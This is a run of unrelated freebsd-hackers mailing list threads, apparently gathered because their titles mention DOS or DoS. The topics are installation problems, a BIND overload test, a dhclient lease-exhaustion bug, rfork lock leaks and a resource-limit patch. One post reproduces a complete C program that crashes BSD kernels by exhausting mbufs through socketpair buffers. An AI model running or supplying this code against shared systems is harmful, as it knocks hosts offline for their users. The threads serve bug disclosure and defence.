Issues with installing FreeBSD 5.4 from a DOS partition
Now, I'm somewhat new to FreeBSD, but I've really enjoyed it as an OS so far, and found it to be quite fast, stable, and well laid out. Some things I've found difficult to get used to but I'm by and large quite impressed. Anyway, I set up 5.3 a while back from a DOS partition using the 5.3 boot disks, as I'm using an older 450 mhz pentium III which refused to boot from the CD drive for whatever reason. This went well, but some ports were having issues compiling, and a few other things so I decided to upgrade to 5.4, full clean install. First of all, I don't know if this is just a problem with my hardware, but it seems to me that the 'Install from ftp' option is broken in 5.4 and above - on both the computers I tried, they would hang on a 'part length 0' error most of the way through installing the docs dist - always at the same place, from whatever ftp I downloaded it from. On attempting to install version 6 the same way, I had the same problem on both pcs, in a slightly different portion of the install. So I decided to go the DOS partition route, as it seemed to be the best alternative. This is what I chose to do with 5.3 as well. My method in 5.3 was to first download the 5.3 disc 1 iso image from ftp.freebsd.org, extract the image to the DOS partition and install. However, as you are probably aware, the premade images in 5.4 and above are on two discs instead of just needing the one. Well, this ends up presenting a problem. Also in 5.4, there was a change in the INDEX file of the packages, and it will prompt you as to which CD has the package you want to install, and to please put that CD in. As you might imagine, it's difficult to switch cds when you are in fact installing off of a DOS partition. The fact that it's a DOS partition also makes it difficult to mount the drive beforehand, go into the packages directory and run 'make index'. What I ended up doing to resolve this was to go into the INDEX file in the /packages directory, and switch all the pipes at the end of each line to point to CD_DRIVE 0 instead of the 1 or 2 which they were pointed at. This fixed the problem, and 5.4 installed normally. Now, I didn't see any sort of mention of this anywhere in any docs I could find. The official install instructions didn't say anything about this in the section on installing from a DOS partition, or in the errata, etc. I also couldn't find any docs on how to edit the INDEX file and so on, so it's half luck that I even found a viable solution. I realize that almost all installs these days are going to be straight from an Atapi cd drive, and loading the OS only occurs very rarely, but this hardware is fine for me, and both the ftp and DOS partition are supposedly supported install options - it would be nice if they still worked out of the box, and that issues like what I had happen are at least mentioned somewhere with a workaround. I mean, even just an explanation of how to edit the cdrom.inf and INDEX files to get the install to fly would be great. Or a copy of edited versions somewhere on the ftp with a little note if you want to install all the cd packages from a DOS partition, do this!. On the other hand, pain of the install aside I couldn't be much happier with the OS now that it's up. -Ben Racine ___ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to [EMAIL PROTECTED]
Bind DoS?
Hello,
I am currently trying to set up two caching nameservers and noticed an
interesting behaviour.
The configuration is the following:
two FreeBSD/amd64 6-CURRENT machines, with single Opteron processors.
Bind was compiled from ports, without threading, with gcc34 (from
ports), with -O2 -static. It runs in a jail, with nothing more than the
config and a nearly empty devfs mount.
Machine A has a simple config of the following:
options {
directory /etc/bind;
tcp-clients 256;
recursive-clients 8192;
max-cache-size 600M;
minimal-responses yes;
pid-file /tmp/named.pid;
forwarders { MACHINE_B_IP; };
};
Machine B has the same bind, but runs as an authoritative NS with a
joker record of:
* IN TXT 256xA
in the . zone (so it answers 256 As for everything).
The test:
from machine B I start a queryperf, this way:
queryperf -d list -s MACHINE_A_IP
where list has the following:
www.RANDOMNUMBER.hu TXT
[...] this is 900 times.
During the test, machine A starts to fill its cache up until about 860
MBs. Until that I see this in top:
CPU states: 27.7% user, 0.0% nice, 58.1% system, 14.2% interrupt, 0.0%
idle
On machine B queryperf receives answer within the default timeout (5
seconds).
After bind reaches about 860 MBs, it starts to eat CPU, so there is 100%
user and nearly 0% system and interrupt usage.
queryperf starts to time out with the following:
[Timeout] Query timed out: msg id 64837
Warning: Received a response with an unexpected (maybe timed out) id: 64837
The server effectively dies, it can answer only a very little number of
queries and with very low performance. If I stop queryperf, bind remains
in the CPU eating state:
76423 bind1 1290 861M 862M RUN 8:30 97.71% named
Because the machine has much more RAM, I first tried with 1200M in the
config. The server has reached its zombie state at around 1600 MB of
usage and it was much unresponsive.
On another (real) server, I noticed similar behaviour this week. Bind
started to eat all CPU resources, there were only recursive quota
reached messages in the logs, but rndc status said only very low usage
(for example 60/1024 on that server).
I can repeat this with and without patch-lib_dns_resolver.c.
If I stop the queries, the server starts to answer the queries in a few
minutes, after it has finished its strange CPU eating loop.
ktrace says, it's doing this many-many times between two successful queries:
76423 namedCALL gettimeofday(0x7fffe450,0)
76423 namedRET gettimeofday 0
Any ideas?
Thanks,
--
Attila Nagy e-mail: [EMAIL PROTECTED]
Free Software Network (FSN.HU) phone @work: +361 371 3536
ISOs: http://www.fsn.hu/?f=downloadcell.: +3630 306 6758
___
freebsd-hackers@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hackers
To unsubscribe, send any mail to [EMAIL PROTECTED]
DOS-style Console Type for IPMI remote console
Hi! I've got a nifty new server board with an IPMI card. The console-redirection over LAN is supposed to work for anything that uses DOS-style video modes or characters, i.e. no graphics mode. In fact it works for the BIOS/boot*/loader and first kernel messages up to the point where the Timecounter i8254 frequency 1193182 Hz quality 0 line is printed out. Then the management software tells me that the system entered graphics mode, which it can't forward. Now, does anybode have an idea how to tell FreeBSD not to switch any graphics mode, i.e. keep that stupid plain printout of characters as the loader does? I would be very nice to do single-user mode installs that way. I've tried sc/vga with various options, but they don't help, I can't get further as the above timecounter line (I assume that's when the vga driver registers and tries to detect the vga). I'm currently using these options: options VGA_NO_FONT_LOADING # don't save/load font options VGA_NO_MODE_CHANGE # don't change video modes options VGA_SLOW_IOACCESS options SC_NO_FONT_LOADING none of them helps. When using pcvt, the boot messages scroll a bit futher, including the avail memory messages, but then stop, with the same message about graphics mode as above. Any workarounds? Anybody using IPMI console redirection over LAN and had success? Thanks Ciao Alex ___ [EMAIL PROTECTED] mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to [EMAIL PROTECTED]
DHCP Client DoS
Hi all, We've recently found a problem with dhclient that can DoS a DHCP server. If you have schg flags set on /etc/resolv.conf to stop dhcp overwriting your existing nameservers, the problem occurs. Basically, the client just keeps rejecting the IP details it has received from the server and requesting another. The server marks the record as used, and moves onto the next one. Over the course of a couple of minutes, you can pretty much mark an entire class C as in use. If you remove the schg flag from resolv.conf, this problem does not happen. This has been tested from a FreeBSD 5 client against a Windows NT server and a FreeBSD 4.7 server with the same results. -- Ian Watkinson To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-hackers in the body of the message
Re: DHCP Client DoS
On Tue, Feb 18, 2003 at 01:41:12PM +, Ian Watkinson wrote:
We've recently found a problem with dhclient that can DoS a DHCP
server. If you have schg flags set on /etc/resolv.conf to stop dhcp
overwriting your existing nameservers, the problem occurs.
Basically, the client just keeps rejecting the IP details it has
received from the server and requesting another. The server marks the
record as used, and moves onto the next one. Over the course of a couple
of minutes, you can pretty much mark an entire class C as in use.
If you remove the schg flag from resolv.conf, this problem does not
happen.
While this is of course very bad, you do know about the 'supersede'
command in dhclient.conf to override any DHCP-supplied values?
Something like
interface fxp0 {
supersede domain-name-servers 127.0.0.1;
}
should work.
That should at least solve the 'overwriting /etc/resolv.conf' problem.
man dhclient.conf for details.
--Stijn
--
Fairy tales do not tell children that dragons exist. Children already
know dragons exist. Fairy tales tell children the dragons can be
killed.
-- G.K. Chesterton
msg39995/pgp0.pgp
Description: PGP signature
Re: DHCP Client DoS
In local.freebsd-hackers, you wrote: We've recently found a problem with dhclient that can DoS a DHCP server. If you have schg flags set on /etc/resolv.conf to stop dhcp overwriting your existing nameservers, the problem occurs. Basically, the client just keeps rejecting the IP details it has received from the server and requesting another. The server marks the record as used, and moves onto the next one. Over the course of a couple of minutes, you can pretty much mark an entire class C as in use. The problem of read-only resolv.conf is already documented in the PR database and I think recently somebody started thinking about a solution. Check http://www.freebsd.org/cgi/query-pr.cgi?pr=bin/38778 That the server runs out of IPs is his probably his own fault. It should be configured to not eat up all IPs when a host which already has obtained a lease requests another one but simply hand out the old one or deny the request... Stijn: Could you add your suggestion to the above PR? -- http://www-i2.informatik.rwth-aachen.de/stolz/ *** PGP *** S/MIME rage against the finite state machine To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-hackers in the body of the message
Re: DHCP Client DoS
On Tue, Feb 18, 2003 at 04:11:14PM +0100, Volker Stolz wrote: In local.freebsd-hackers, you wrote: We've recently found a problem with dhclient that can DoS a DHCP server. If you have schg flags set on /etc/resolv.conf to stop dhcp overwriting your existing nameservers, the problem occurs. Basically, the client just keeps rejecting the IP details it has received from the server and requesting another. The server marks the record as used, and moves onto the next one. Over the course of a couple of minutes, you can pretty much mark an entire class C as in use. The problem of read-only resolv.conf is already documented in the PR database and I think recently somebody started thinking about a solution. Check http://www.freebsd.org/cgi/query-pr.cgi?pr=bin/38778 That the server runs out of IPs is his probably his own fault. It should be configured to not eat up all IPs when a host which already has obtained a lease requests another one but simply hand out the old one or deny the request... Stijn: Could you add your suggestion to the above PR? Well I could but it's a workaround -- dhclient should imho be made not to fail when it cannot write /etc/resolv.conf. That's a separate issue from being able to set the contents of the newly written resolv.conf, which is essentially what the supersede option does. All I was trying to say was that there already is a solution for keeping your own nameservers in /etc/resolv.conf. That said, I will add some words to this effect to the PR. --Stijn -- The rain it raineth on the just And also on the unjust fella, But chiefly on the just, because The unjust steals the just's umbrella. msg39997/pgp0.pgp Description: PGP signature
DOS attack
First sorry me if this messages is out of topic for some email-lists, but if some one know a solution, please help me. Hi was victim of a DOS attack, my server was out for about 5 hours, services like web and email where down. I am using round robind dns for a load balancing, but this only help for my web services, any idea on how can i make a redundant service for web and email services? something like mysql does with his replication function? I don't want to use hardware only software regards To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-hackers in the body of the message
rfork DoS
I think there can be a problem if we allow rfork without either RFCFDG or RFFDG and RFTHREAD. Basically because we cache the ADVLOCK flag in the proc we may have a situation where this happens: p1 rfork(RFMEM); /* gets back p2 */ p2 advlocks some files from the shared table p2 exits, but since the refcount on the fdesc is still 0 we leave it alone and leak lock structures. p1 exits Does this make sense as a problem area? I think we should only allow filedesc sharing if RFTHREAD is set. RFTHREAD seems to get it right because of the peers/leader mechanism. thanks, -- -Alfred Perlstein [[EMAIL PROTECTED]] 'Instead of asking why a piece of software is using 1970s technology, start asking why software is ignoring 30 years of accumulated wisdom.' To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-hackers in the body of the message
Re: rfork DoS
Well, the manual page (which may be out of date) infers that the rfork() only operates on the current process if RFPROC is not set. If we extend that to include RFTHREAD then the inference is that either RFPROC or RFTHREAD must be set and if neither is set an error should be returned. Am I missing something? -Matt Matthew Dillon [EMAIL PROTECTED] :I think there can be a problem if we allow rfork without :either RFCFDG or RFFDG and RFTHREAD. : :Basically because we cache the ADVLOCK flag in the proc :we may have a situation where this happens: : :p1 rfork(RFMEM); /* gets back p2 */ :p2 advlocks some files from the shared table :p2 exits, but since the refcount on the fdesc is still 0 we leave it : alone and leak lock structures. :p1 exits : :Does this make sense as a problem area? I think we should only :allow filedesc sharing if RFTHREAD is set. RFTHREAD seems to get :it right because of the peers/leader mechanism. : :thanks, :-- :-Alfred Perlstein [[EMAIL PROTECTED]] :'Instead of asking why a piece of software is using 1970s technology, : start asking why software is ignoring 30 years of accumulated wisdom.' : To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-hackers in the body of the message
Re: rfork DoS
* Matthew Dillon [EMAIL PROTECTED] [030109 12:37] wrote: Well, the manual page (which may be out of date) infers that the rfork() only operates on the current process if RFPROC is not set. If we extend that to include RFTHREAD then the inference is that either RFPROC or RFTHREAD must be set and if neither is set an error should be returned. Am I missing something? That sounds right. The only reason I didn't go that far was because I wasn't sure if we wanted to allow shared sigacts without leadership. I think that it would be safest to require userland to set either RFPROC or RFTHREAD. Yes, the manpage is out of date. What the hell is a sigact anyhow? Can someone please fixup the manpage? :) -- -Alfred Perlstein [[EMAIL PROTECTED]] 'Instead of asking why a piece of software is using 1970s technology, start asking why software is ignoring 30 years of accumulated wisdom.' To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-hackers in the body of the message
Re: freebsd in dos extended ?
Why do you want to install it on a DOS extended partition? Just remove that extended patition and install FreeBSD in the unused portion of the disk. Install the FreeBSD boot manager so you can boot into whichever OS you want to. Mike. _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: freebsd in dos extended ?
I have exceded my partitions limit cannot delete my extended windoze is on it .. it seems that i am out of luck no problem i think its time to buy a new harddrive :-) i wish they didnt have this limit of 4 primary partition on a disk ... :-( - Original Message - From: "Mike Makonnen" [EMAIL PROTECTED] To: "faisal" [EMAIL PROTECTED]; "Andrew Hesford" [EMAIL PROTECTED]; "Will Mitayai Keeso Rowe" [EMAIL PROTECTED] Cc: "FreeBSD" [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Monday, April 16, 2001 12:51 AM Subject: Re: freebsd in dos extended ? Why do you want to install it on a DOS extended partition? Just remove that extended patition and install FreeBSD in the unused portion of the disk. Install the FreeBSD boot manager so you can boot into whichever OS you want to. Mike. _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
freebsd in dos extended ?
Hello Can freeBSD be installed in a dos extended partition ? I am having real trouble creating another primary partition .. on have 1 dos logical partition in my extended .. _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: freebsd in dos extended ?
I don't know if FreeBSD supports installing into DOS extended partition. installing an OS in a DOS extended partition is dangrous, it can be easily rewritten by DOS utils, if you havn't space to create a partition, I sugguest you use PQMagic like partition utils to shrink existing partitions, then install FreeBSD in new partition. David Xu - Original Message - From: faisal [EMAIL PROTECTED] To: Andrew Hesford [EMAIL PROTECTED]; Will Mitayai Keeso Rowe [EMAIL PROTECTED] Cc: FreeBSD [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Monday, April 16, 2001 11:42 PM Subject: freebsd in dos extended ? Hello Can freeBSD be installed in a dos extended partition ? I am having real trouble creating another primary partition .. on have 1 dos logical partition in my extended .. _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: DOS Emulation KLD
Any comments or suggestions welcome. Fix doscmd, which does the emulation in userland (which is even better than running as a KLD). -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: DOS Emulation KLD
Any comments or suggestions welcome. Fix doscmd, which does the emulation in userland (which is even better than running as a KLD). What's wrong with doscmd ? I hadn't noticed this one used BSD filesystems in addition to image files. That was my #1 issue with some of the other emulators. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: DOS Emulation KLD
Any comments or suggestions welcome. Fix doscmd, which does the emulation in userland (which is even better than running as a KLD). What's wrong with doscmd ? I hadn't noticed this one used BSD filesystems in addition to image files. That was my #1 issue with some of the other emulators. It needs a lot of TLC; there are plenty of places where it could be usefully extended as well. One might also consider abandoning it entirely and making plex86 work, if one was really interested in that sort of thing. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: DOS Emulation KLD
What's wrong with doscmd ? I hadn't noticed this one used BSD filesystems in addition to image files. That was my #1 issue with some of the other emulators. It needs a lot of TLC; there are plenty of places where it could be usefully extended as well. One might also consider abandoning it entirely and making plex86 work, if one was really interested in that sort of thing. Thanks for the information. I have alot of DOS programming experience, and although little BSD programming experience, I have read quite a bit and attended a 4.x KLD authoring conference at ToorCon. Since I understand low level DOS implementation (I've worked with the FreeDOS project too), I'm taking a look at doscmd and I'm going to try to contribute to this project. It seems delightfully simple in its design. I see some of the rough edges you're talking about, but I believe you're right, it's nothing a little TLC can't take care of. Thanks again for your help on the subject. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
DOS Emulation KLD
I've had this idea kicking around for some time, so I decided I would throw it out there and see if anyone was interested or had any ideas. I'm wondering why we can'twrite basic DOS emulation as a KLD. DOS programs are x86 code, a majority of it usually doing basic mundane (userland acceptable) things. The only problems would come about when interrupts were called and system memory locations were written to. It is my understanding that under x86-32 virtual machines, such instructions are "illegal" and therefore caught by the OS's virtual machine driver, and emulated. I think for basic int 21h services, and BIOS keyboard and text functions, this wouldn't be that difficult to do, and would allow simple text based DOS programs to run under FreeBSD. The DOS programs would see the file system in an 8.3 format, case insensitive, and would be able to use and save files without any real major modification. The same way VFAT handles long file names, DOS could handle FFS file names (eg: alongfilename.txt becomes alongf~1.txt). With the file system emulated, the basic interrupts caught and emulated, and everything else stubbed, many simple dos programs would function under FreeBSD. For example, although of course we have midnight commander, there is no real reason why the original Norton Commander could not run under FreeBSD. I'm not suggesting NC would be better than MC, but what I am suggesting is that a simple program like NC, which writes to the screen and manages files, should have no problem running in the BSD environment. I know there are emulation programs available in ports, but I was thinking along the lines of a KLD, which is automatically loaded when a DOS exe file is executed from the prompt. I'm going to look into this, and maybe with some help, draft a simple implementation to see if it's feasible. Any comments or suggestions welcome.
Remote DoS exploit on natd.
The other day I was testing various exploits that I have accumulated over time against my firewall. I had always used these to test any new boxes I brought online. All was fine, until I tried it from the internet side of the firewall. I have found that boink.c, the old exploit from 98, when used against a 3.3-STABLE, or 3.4-STABLE natd box that has rdr's setup with IPFILTER to cause it to panic, and reboot. I have tested this with 3 different machines, all with the same effect. I have not been able to test it on a 4.0-STABLE as of yet.I did search the mailing list archives on boink, and found nothing pertaining to this problem. It would be really nice to be able to patch this. If you need any information, or have any corrections for this, please respond to my email address at [EMAIL PROTECTED] Thanks! __ Do You Yahoo!? Yahoo! Photos -- now, 100 FREE prints! http://photos.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Booting from Extended DOS partition
I notice that the FreeBSD bootloader (boot0) explicitly prohibits booting from Extended DOS partitions (type 5). As far as I can see, an Extended DOS partition looks like a virtual disk - sector 0 contains a partition table explaining how that partition is broken up into secondary partitions. Given this, why can't it contain an MBR and allow booting? Peter To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
DoS
Denial of Service and kernel panic (out of mbuf) appears when following
program executes (originally reported by Sven Berkenvs
([EMAIL PROTECTED])). Affects FreeBSD 3.x 4.0, OpenBSD 2.5, OpenBSD 2.6,
NetBSD 1.4.1.
#include unistd.h
#include sys/socket.h
#include fcntl.h
#define BUFFERSIZE 204800
int main ()
{
int p[2], i;
char crap[BUFFERSIZE];
while (1) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, i,sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, i,sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, i,sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, i,sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-hackers" in the body of the message
Re: DoS
* Oleg Derevenetz [EMAIL PROTECTED] [000603 23:35] wrote: Denial of Service and kernel panic (out of mbuf) appears when following program executes (originally reported by Sven Berkenvs ([EMAIL PROTECTED])). Affects FreeBSD 3.x 4.0, OpenBSD 2.5, OpenBSD 2.6, NetBSD 1.4.1. [snip] --- Forwarded message not yet posted to bugtrack --- From [EMAIL PROTECTED] Fri Jun 2 14:43:02 2000 Date: Fri, 2 Jun 2000 14:49:54 -0700 From: Alfred Perlstein [EMAIL PROTECTED] To: Ussr Labs [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Subject: Re: Local FreeBSD, Openbsd, NetBSD, DoS Vulnerability Message-ID: [EMAIL PROTECTED] References: [EMAIL PROTECTED] In-Reply-To: [EMAIL PROTECTED]; from [EMAIL PROTECTED] on Wed, Aug 02, 2000 at 08:41:53AM -0300 * Ussr Labs [EMAIL PROTECTED] [000602 13:08] wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Local FreeBSD, Openbsd, NetBSD, DoS Vulnerability [snip same old story about exhausting mbufs] FreeBSD 4 and above are not vulnerable if proper limits are put into place. These limits should be setup at the same time other limits (such as 'maxproc' to disallow forkbombing) are set up. Please see the the RLIMIT_SBSIZE option for setrlimit(2), it allows a reasonable limit to be set for users socket buffers. An undocumeted (which I just fixed) option for login.conf(5) 'sbsize' allows this restriction to be put into place for users: :sbsize=1048576:\ Of course the real solution is rmuser(8), but that's a matter of policy. hope this helps, -- -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Regarding DOS violations
After reading the article, http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/02/09/MN23532.DTL I am wondering if FreeBSD should take any action to protect our users. I think it would speak incredibly highly of FreeBSD if Yahoo and other "customers" were to have some kind of protection from such an attack. My initial thoughts are: A web server should know its limitations and not attempt to handle more requests than it can manage. It should invoke a service cutoff of any and all users that cause excessive loading over a measured interval of time. Essentially, the machine would have to track all requests, rank them as to how much effort/resources they require, and then "integrate" this data over a fixed time period. If the overall load is higher than an acceptable threshold, the most offensive clients get "ignored" for a fixed period of time. This will, no doubt, ignore a small number of legitimate users; however, that's far better than not serving anyone. Additionally, the server could log this activity which would make it possible to contact the owners/operators of these most offensive systems. With any luck, this could help them realize that their sites are being hacked into and they could take corrective action to prevent future attacks. If we let them know that FreeBSD identified their problem, it might even be an excellent marketing move for us. Comments Anyone? Regards, Ed To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: Regarding DOS violations
I could imagine this causing problems with people that are behind a proxy server or NAT. Since whatever would be collecting the statistics could easily write off these systems as being offensive. I could safely assume that this would prevent access of sites to a few of our customers who have a large number of machines behind NAT. Which of course means they'd call up complaining because all of the sudden their favorite search engine no longer works. You could easily set you limits high enough to allow this kind of traffic, but you would definately miss a script kiddie or two who thinks he has enough bandwidth to get the job done. -- Eric Futch New York Connect.Net, Ltd. [EMAIL PROTECTED] Technical Support Staff http://www.nyct.net (212) 293-2620 "Bringing New York The Internet Access It Deserves" On Wed, 9 Feb 2000, Ed Gold wrote: After reading the article, http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/02/09/MN23532.DTL I am wondering if FreeBSD should take any action to protect our users. I think it would speak incredibly highly of FreeBSD if Yahoo and other "customers" were to have some kind of protection from such an attack. My initial thoughts are: A web server should know its limitations and not attempt to handle more requests than it can manage. It should invoke a service cutoff of any and all users that cause excessive loading over a measured interval of time. Essentially, the machine would have to track all requests, rank them as to how much effort/resources they require, and then "integrate" this data over a fixed time period. If the overall load is higher than an acceptable threshold, the most offensive clients get "ignored" for a fixed period of time. This will, no doubt, ignore a small number of legitimate users; however, that's far better than not serving anyone. Additionally, the server could log this activity which would make it possible to contact the owners/operators of these most offensive systems. With any luck, this could help them realize that their sites are being hacked into and they could take corrective action to prevent future attacks. If we let them know that FreeBSD identified their problem, it might even be an excellent marketing move for us. Comments Anyone? Regards, Ed To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: Regarding DOS violations
Hi Ed, Your second point, on the logging is interesting. It would certainly be worth collecting a central repository of IP addresses relating to the machines used to propogate the attacks. The point to remember is that they are victims too, but obviously despite the wide publicity about these activities they have not bothered to take any action to protect themselves therefore hurting everybody else. This problem is becoming too common to allow chances to organisations that even as of yet have taken no corrective action. Perhaps what is really needed is the ability to remove the connection of these servers from the 'net backbone, refusing to reconnect them until they had corrected the problem. But I don't see how that is going to happen. Maybe, rather like ISPs and spammers (or AOL), your logging idea could be used as a first step - given the provided information in a repository, individual organisations could take the option to refuse to accept packets originating from these servers straight away. The owners could /then/ be contacted and informed, to be removed from the list after correcting the problem. If this were a feature, the list would grow quickly enough to at least make the lives of the perpatrators rather more difficult, and the life of the list administrator rather busy. Some tools to automate things as much as possible, and your away, Ed. I don't see why this couldn't be started by, but by no means limited to, FreeBSD users. Then again, perhaps this is too political a move to make? Johnathan Meehan - Original Message - From: Ed Gold [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, February 10, 2000 1:43 AM Subject: Regarding DOS violations After reading the article, http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/02/09 /MN23532.DTL I am wondering if FreeBSD should take any action to protect our users. I think it would speak incredibly highly of FreeBSD if Yahoo and other "customers" were to have some kind of protection from such an attack. My initial thoughts are: A web server should know its limitations and not attempt to handle more requests than it can manage. It should invoke a service cutoff of any and all users that cause excessive loading over a measured interval of time. Essentially, the machine would have to track all requests, rank them as to how much effort/resources they require, and then "integrate" this data over a fixed time period. If the overall load is higher than an acceptable threshold, the most offensive clients get "ignored" for a fixed period of time. This will, no doubt, ignore a small number of legitimate users; however, that's far better than not serving anyone. Additionally, the server could log this activity which would make it possible to contact the owners/operators of these most offensive systems. With any luck, this could help them realize that their sites are being hacked into and they could take corrective action to prevent future attacks. If we let them know that FreeBSD identified their problem, it might even be an excellent marketing move for us. Comments Anyone? Regards, Ed To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: Regarding DOS violations
In the last episode (Feb 09), Ed Gold said: After reading the article, http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/02/09/MN23532.DTL I am wondering if FreeBSD should take any action to protect our users. I think it would speak incredibly highly of FreeBSD if Yahoo and other "customers" were to have some kind of protection from such an attack. My initial thoughts are: A web server should know its limitations and not attempt to handle more requests than it can manage. It should invoke a service cutoff The problem is that for most flood-type DoS attacks, the target machine doesn't see most of the traffic. The idea is to flood the T1/T3/whatever lines, or send enough small packets that the routers are overwhelmed. The smart limiting you describe is good for servers that have relatively few connections that take a lot of CPU each. I'd say that most database-backended servers have a similar problem, and do have per-IP query limits or some other form of restrictions. The best (worst?) example of this I can think of is the all-too-common IIS "HTTP/1.0 Server Too Busy" message. -- Dan Nelson [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
socket buffer DoS/administrative limits
Yes folks, it's that time again: time for more administrative limits!
I've worked out a resource limit (for FreeBSD in this case, but not
non-portable) which allows prevention of DoS by mbuf starvation. Others
are working on making the networking code more resilient, while this is
a general resource limit which can be used in any case.
I've chosen the name "sbsize" (RLIMIT_SBSIZE) for this. Here's what
happens with the limit in action (note that the pdksh in use has been
patched to include the ulimit):
{"/home/green"}$ ulimit -b 200 ; ulimit -a | grep sbsize
sbsize(bytes)200
{"/home/green"}$ ./testsockbuf
socketpair: No buffer space available
14 sockets had been allocated
And another DoS attempt has been foiled with administrative limits :)
I'm sorry for not having something working sooner, but I ran into the problem
of my KASSERT() being tripped, which ended up being caused by me not
grokking an evil local define (look for "#define (snd|rcv) "...) correctly.
After fixing that, everything is wonderful.
The patch, which applies to FreeBSD 4.0-CURRENT, and should be easily
portable or backportable, can be found at:
http://www.FreeBSD.org/~green/sbsize4.patch
--
Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! /
[EMAIL PROTECTED]`--'
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-hackers" in the body of the message
socket buffer DoS/administrative limits
Yes folks, it's that time again: time for more administrative limits!
I've worked out a resource limit (for FreeBSD in this case, but not
non-portable) which allows prevention of DoS by mbuf starvation. Others
are working on making the networking code more resilient, while this is
a general resource limit which can be used in any case.
I've chosen the name sbsize (RLIMIT_SBSIZE) for this. Here's what
happens with the limit in action (note that the pdksh in use has been
patched to include the ulimit):
{/home/green}$ ulimit -b 200 ; ulimit -a | grep sbsize
sbsize(bytes)200
{/home/green}$ ./testsockbuf
socketpair: No buffer space available
14 sockets had been allocated
And another DoS attempt has been foiled with administrative limits :)
I'm sorry for not having something working sooner, but I ran into the problem
of my KASSERT() being tripped, which ended up being caused by me not
grokking an evil local define (look for #define (snd|rcv) ...) correctly.
After fixing that, everything is wonderful.
The patch, which applies to FreeBSD 4.0-CURRENT, and should be easily
portable or backportable, can be found at:
http://www.FreeBSD.org/~green/sbsize4.patch
--
Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! /
gr...@freebsd.org`--'
To Unsubscribe: send mail to majord...@freebsd.org
with unsubscribe freebsd-hackers in the body of the message
sockbuf DoS
